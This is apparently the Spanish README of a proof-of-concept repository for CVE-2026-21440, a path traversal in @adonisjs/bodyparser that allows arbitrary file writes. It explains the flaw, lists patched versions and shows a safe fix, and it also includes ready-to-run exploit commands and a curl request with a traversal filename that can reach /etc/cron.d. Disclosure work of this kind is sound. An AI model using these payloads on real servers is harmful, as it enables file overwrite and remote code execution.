poc y writeup para cve-2026-21440: una vulnerabilidad crítica de path traversal en @adonisjs/bodyparser que permite la escritura arbitraria de archivos
path traversal a escritura arbitraria de archivos en @adonisjs/bodyparser
existe una vulnerabilidad crítica de path traversal en el paquete @adonisjs/bodyparser que permite a atacantes remotos escribir archivos arbitrarios fuera del directorio de subida previsto. cuando se llama a la función multipartfile.move() sin proporcionar explícitamente un nombre de archivo saneado, el parser utiliza por defecto el nombre de archivo proporcionado por el cliente sin una sanitización adecuada.
debido a que la implementación utiliza path.join() y options.overwrite tiene como valor predeterminado , un atacante puede manipular un nombre de archivo malicioso que contenga secuencias de path traversal (por ejemplo, ) para escribir archivos en cualquier parte del sistema de archivos, lo que potencialmente conduce a la ejecución remota de código.
true../../etc/cron.d/malicious| atributo | valor |
|---|---|
| id cve | cve-2026-21440 |
| clasificación cwe | cwe-22: limitación inadecuada de un nombre de ruta a un directorio restringido ('path traversal') |
| puntuación cvss v3.1 | 9.2 (crítica) |
| vector de ataque | red |
| complejidad del ataque | baja |
| privilegios requeridos | ninguno |
| interacción del usuario | ninguna |
la vulnerabilidad existe en el método multipartfile.move(location, options?). cuando los desarrolladores llaman a este método sin proporcionar options.name, el código utiliza por defecto this.clientName — el nombre de archivo original enviado por el cliente — sin sanitización.
// código vulnerable en @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← entrada del cliente sin sanear
const filePath = path.join(location, fileName) // ← path.join permite traversal
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ atacante │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ aplicación adonisjs vulnerable │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← sin nombre saneado proporcionado │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ se resuelve a: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ archivo escrito fuera del directorio de subida │
└─────────────────────────────────────────────────────────────────┘
│
▼
escritura arbitraria de archivos
→ rce vía cron
→ sobrescritura de configuración
→ inyección de claves ssh
| paquete | versiones vulnerables | versión parcheada |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 a 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparserfile.move() sin la opción name explícita# navegar al directorio del exploit
cd Exploit-PoC
# instalar dependencias
pip install -r requirements.txt
# ejecutar el exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ vulnerable - utiliza el nombre de archivo proporcionado por el cliente
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName se usa como nombre de archivo
}
return response.ok({ message: 'uploaded' })
}
// ✅ seguro - genera un nombre de archivo saneado
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// generar un nombre único con la extensión original
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // evitar sobrescrituras
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser a la versión parcheada# clonar el repositorio
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# iniciar el entorno vulnerable
docker-compose up --build
# en otra terminal, ejecutar el exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# verificar que el archivo se escribió fuera del directorio de subidas
docker-compose exec app cat /app/test.txt
| fecha | evento |
|---|---|
| 2026-01-02 | parche publicado en 10.1.2 y 11.0.0-next.6 |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h publicado |
| 2026-01-02 | cve-2026-21440 asignado |
| 2026-01-02 | publicado por nvd |
este repositorio se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. el código de prueba de concepto está destinado a ayudar a los profesionales de la seguridad a comprender y probar esta vulnerabilidad en entornos que están autorizados a evaluar.
el acceso no autorizado a sistemas informáticos es ilegal. los autores no asumen ninguna responsabilidad por el mal uso de esta información. obtenga siempre la autorización adecuada antes de probar vulnerabilidades.
investigado con ☕ por k0nnect